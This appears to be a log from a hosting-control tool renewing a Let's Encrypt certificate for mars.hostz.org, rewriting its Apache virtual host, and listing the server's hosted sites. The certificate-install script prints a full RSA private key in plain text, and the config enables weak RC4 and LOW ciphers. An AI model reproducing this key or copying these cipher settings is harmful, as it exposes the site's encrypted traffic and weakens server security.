iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2025-12-13 06:00:26: Establishing a connection
2025-12-13 06:00:26: Establishing a connection
2025-12-13 06:00:26: 

PUT: /tmp/pkp974799

#!/bin/bash
if [ -d "/var/www/hostz_mars/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-12-13 06:00:27: 

chmod 755 /tmp/pkp974799; /tmp/pkp974799; rm /tmp/pkp974799

2025-12-13 06:00:27: 


1


2025-12-13 06:00:27: Establishing a connection
2025-12-13 06:00:27: 

PUT: /tmp/pkp224201

#!/bin/bash
mkdir -p "/var/www/hostz_mars/.well-known/acme-challenge/"
cd "/var/www/hostz_mars/.well-known/acme-challenge/"
cat > ebNVTXosOUr191GlxvBZH2I2OPCVND11i2YshknPSg4 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
ebNVTXosOUr191GlxvBZH2I2OPCVND11i2YshknPSg4.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 ebNVTXosOUr191GlxvBZH2I2OPCVND11i2YshknPSg4


2025-12-13 06:00:27: 

chmod 755 /tmp/pkp224201; /tmp/pkp224201; rm /tmp/pkp224201

2025-12-13 06:00:27: 




2025-12-13 06:00:31: Establishing a connection
2025-12-13 06:00:31: 

PUT: /tmp/pkp146754

#!/bin/bash
mkdir -p "/var/www/hostz_mars/.well-known/acme-challenge/"
cd "/var/www/hostz_mars/.well-known/acme-challenge/"
rm ebNVTXosOUr191GlxvBZH2I2OPCVND11i2YshknPSg4


2025-12-13 06:00:31: 

chmod 755 /tmp/pkp146754; /tmp/pkp146754; rm /tmp/pkp146754

2025-12-13 06:00:31: 




2025-12-13 06:00:31: Establishing a connection
2025-12-13 06:00:31: 

PUT: /tmp/pkp309121

#!/bin/bash
temp_file=$(mktemp)
TARGET=ecea81f90eb664107ec66742d2c0036d

cat > $temp_file <<'endmsg'
15:65:88:fd:01:7f:5e:8a:c1:74:6a:5e:78:e7:17:ca

-----BEGIN CERTIFICATE-----
MIIFADCCA+igAwIBAgISBemre6i6wEiWDdHI5veIf7UlMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjEzMDUwMjAwWhcNMjYwMzEzMDUwMTU5WjAZMRcwFQYDVQQD
Ew5tYXJzLmhvc3R6Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
ALSETbZvitWByvNLdqFd2+Y1jqtvN+gSn6yaQRj9pxYECIJIwWhEfByzGoVYjidb
uMcapXLL2nE9kEXZjB651N7cFk8YnAXIUqpvyLXSs4VUz0a0dX46UeNdhFpt4lis
8MrDT2nI36aCLvgwuwh7QT+ddtLtvYV0om9hFKBC3LpkPKdxj3aEScxkyWeIpL79
1KTpB19qtpRCRrIG4KXSlmgOOJ8zhyVQ4RF825P/W0M0V+bAWzP5xNIHr4U1jY5G
kYHkNfGuN1VXrKFRX8/CB72N4rVdphFe0wSnnj0UCeqrXy8K+Ljo0TmKre0tCLta
gQEgllJ40nFdBjVUgPlR98UCAwEAAaOCAiYwggIiMA4GA1UdDwEB/wQEAwIFoDAd
BgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQU1ivQpnSksIDLZGOASliLk7BqdE4wHwYDVR0jBBgwFoAU56ufDywzoFPT
Xk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEzLmkubGVuY3Iub3JnLzAZBgNVHREEEjAQgg5tYXJzLmhvc3R6Lm9yZzATBgNV
HSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8vcjEzLmMu
bGVuY3Iub3JnLzM4LmNybDCCAQwGCisGAQQB1nkCBAIEgf0EgfoA+AB2AEmcm2ne
HXzs/DbezYdkprhbrwqHgBnRVVL76esp3fjDAAABmxZL4YkAAAQDAEcwRQIhAJlz
Dq0BuCWtIv3Y7s46+53/jLilotOf8AKlkrzT5tJpAiAW9GBUjfehU3kySZCNCl32
XQhyh7e1PP7sRIlH/ZOeNAB+AKXJeJJdV0YXgocN2IlmC1xVZIt9AEDy7AdoUdGI
aRn3AAABmxZL424ACAAABQArhge+BAMARzBFAiAKRJ7u7oppvbX/HLCDUw0z9yUr
uGJkAuOiBvV54BOGWwIhAIkFBdM0F6JZ11Y+6+fFMI0YlQegeAIyhG8LCVac4BsA
MA0GCSqGSIb3DQEBCwUAA4IBAQCPd1ZqpL2NAuPAm33yEvKv76V6Db0lcwRBTSU5
m7XTW8uxtbcMfqiqK/iaYjMrWYAYbKxiBx3nRlma1R3IUnIHfxhueLO4R/JoH9d4
ftVK0I9OY6104feDUR+uz3XT80PvDnwvV8LwvfAOkl8MCprPUphButwL0V9kkent
1Vk2CNJq8+yCMDzGgKEe90rVnKOeN7LTaXT3h0HwopH97yvp1pTdFgDdTojVhhON
dneopW3Dniks+so1dDy5CyrXKPRpqxERENdUHuqEsXG7QvmhT8fjA7Th1K2XEp6V
TJ8hFX3LNXjTSZ5xtICYdC6GQr5JLrLb8W7yzf4KSUb39CE4
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC0hE22b4rVgcrz
S3ahXdvmNY6rbzfoEp+smkEY/acWBAiCSMFoRHwcsxqFWI4nW7jHGqVyy9pxPZBF
2YweudTe3BZPGJwFyFKqb8i10rOFVM9GtHV+OlHjXYRabeJYrPDKw09pyN+mgi74
MLsIe0E/nXbS7b2FdKJvYRSgQty6ZDyncY92hEnMZMlniKS+/dSk6QdfaraUQkay
BuCl0pZoDjifM4clUOERfNuT/1tDNFfmwFsz+cTSB6+FNY2ORpGB5DXxrjdVV6yh
UV/Pwge9jeK1XaYRXtMEp549FAnqq18vCvi46NE5iq3tLQi7WoEBIJZSeNJxXQY1
VID5UffFAgMBAAECggEBAJMp2QEF5jUxXvcBanEbR45h0zHHtdgodqwMBU4OXA0C
tL0h+yq5ykTLbq+PBjTn/bez7XWs4yS2f8uyEx1pejVFT5qkAW5lZZ81CnfQkjH8
dg66R57khKXLM39VXdXVB2kF2NPwwwPH1erYL2I2uXbXNGu5DWyjLVmH13zfhXsd
pWSXZ4jZ+nKP+zC+roNow3nKLkPf/Dng+q3ma8UxSxa7xncP6g8d+l4j7ddM6WS5
dAMTZy4TXjOLzY5dBhS6EqedRTCXrpXii+b/KoK47U/hVkWpbXgLFpDbCsiL5x30
UJNKahibRjYR0qd9sjiq/l9w7H8o0iYPBKmzzQEht4ECgYEA5XCW1+ndiv4PX9s8
EHLD+774TYZJjYmI279quvv6sreGHD9Z7NYLav/mW+9sQE8tZSGvoNeuDNj9QuDh
Jodu8hwZFvEcWntsd5WHc/jQQ2ByK+l5LRnPTXFCBRPYz2h6stqo2ahFc19+rBSu
fTb6CtksNKpqvEAhrZ7ZHYwTsD0CgYEAyWnjuXIUfjuzxvWlQ4qdXMRfbaw2fdep
DB6q0fyT6AVdoh7FJbVeSw9G5wI5wAqIlV8WAcj5TbjJaHj2wV3kt0oePXebAkF3
luZwUCUzqNZlpWYG118hhAYKQUSRfwmGGl0IMBu1ozAVNBLLqSLpdu4iXGeTCOpo
bjkGxQPzlikCgYA2mMscR+dTCs/HxJiPZW/jePcHI5xfFMo/WFZidlGas3czQ5P3
epuu84Pyfo+o4e5wcUqkoI4nOn9RqceJ7pJlBHCn9+oCUfpmnmtkGmIclle0wVL3
e3vL9tZ59NYTzM3dv5CMcrFMGf4/npBC9ZEcgb82LRNHBo+9C96oXEvXFQKBgGK2
ux2Qg+q6aAoDKtRHg4iL1hlyZeKXaArAnQf9up/kwVdLrWQl1+kBu8ZMmPE+OGK9
D5QgY89r2YqSfp2W3xnWAawuipI4c9xJZJJjKUZ+jaLatk+oGE0UiMIkUQrqKAeT
wQeTDRrF3h5/d8GVksbvP3f6a13bRQOAf4jfvurBAoGBANaTsqADHx9IHWpSA0mh
6JZw0+UX0enk1KAbrlrJ/EEb5nIdSGemGYw90ILz3Bnc3SDCZ7TavlVIpE4H9OZW
IUK2V7ApPpiY8VrpeGQJIZMWtncp0oYej5zullxDHN/BhazB0pplQHUAtkb3pnOQ
J1hgGu1l8jboPSQScLRl0PoY
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-12-13 06:00:31: 

chmod 755 /tmp/pkp309121; /tmp/pkp309121; rm /tmp/pkp309121

2025-12-13 06:00:31: 


dir=/etc/ssl/certs


2025-12-13 06:00:31: 

PUT: /tmp/pkp374546

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/000-hostz_mars_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-12-13 06:00:31: 

chmod 755 /tmp/pkp374546; /tmp/pkp374546; rm /tmp/pkp374546

2025-12-13 06:00:31: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/000-hostz_mars_org.conf 38

<VirtualHost *:80>
    ServerName	mars.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_mars
    <Directory /var/www/hostz_mars>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/mars_access.log combined
    ErrorLog	/var/log/apache2/hostz/mars_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	mars.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
    DocumentRoot	/var/www/hostz_mars
    <Directory /var/www/hostz_mars>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_mars/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/hostz/mars_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/mars_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-12-13 06:00:31: 

PUT: /tmp/pkp874230

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=000-hostz_mars_org.conf
TARGET=/etc/apache2/sites-enabled/000-hostz_mars_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	mars.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_mars
    <Directory /var/www/hostz_mars>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/mars_access.log combined
    ErrorLog	/var/log/apache2/hostz/mars_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	mars.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
    DocumentRoot	/var/www/hostz_mars
    <Directory /var/www/hostz_mars>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_mars/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/hostz/mars_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/mars_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/000-hostz_mars_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/000-hostz_mars_org.conf)= /etc/apache2//etc/apache2/sites-enabled/000-hostz_mars_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/000-hostz_mars_org.conf= 1'
fi


2025-12-13 06:00:31: 

chmod 755 /tmp/pkp874230; /tmp/pkp874230; rm /tmp/pkp874230

2025-12-13 06:00:31: 




2025-12-13 06:00:31: 

PUT: /tmp/pkp532809

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-12-13 06:00:31: 

chmod 755 /tmp/pkp532809; /tmp/pkp532809; rm /tmp/pkp532809

2025-12-13 06:00:31: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-12-13 06:00:32: Establishing a connection
2025-12-13 06:00:32: 

PUT: /tmp/pkp958071

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-12-13 06:00:32: 

chmod 755 /tmp/pkp958071; /tmp/pkp958071; rm /tmp/pkp958071

2025-12-13 06:00:32: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
                 alias www.carelinksoutreach.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
                 alias www.carelinksoutreach.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-12-13 06:00:32: 

PUT: /tmp/pkp907057

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/000-hostz_mars_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-13 06:00:32: 

chmod 755 /tmp/pkp907057; /tmp/pkp907057; rm /tmp/pkp907057

2025-12-13 06:00:32: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/000-hostz_mars_org.conf	1374

<VirtualHost *:80>
    ServerName	mars.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_mars
    <Directory /var/www/hostz_mars>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/mars_access.log combined
    ErrorLog	/var/log/apache2/hostz/mars_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	mars.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
    DocumentRoot	/var/www/hostz_mars
    <Directory /var/www/hostz_mars>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_mars/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/hostz/mars_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/mars_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-12-13 06:00:32: 

PUT: /tmp/pkp623129

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-13 06:00:32: 

chmod 755 /tmp/pkp623129; /tmp/pkp623129; rm /tmp/pkp623129

2025-12-13 06:00:32: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d	5356
15:65:88:fd:01:7f:5e:8a:c1:74:6a:5e:78:e7:17:ca

-----BEGIN CERTIFICATE-----
MIIFADCCA+igAwIBAgISBemre6i6wEiWDdHI5veIf7UlMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
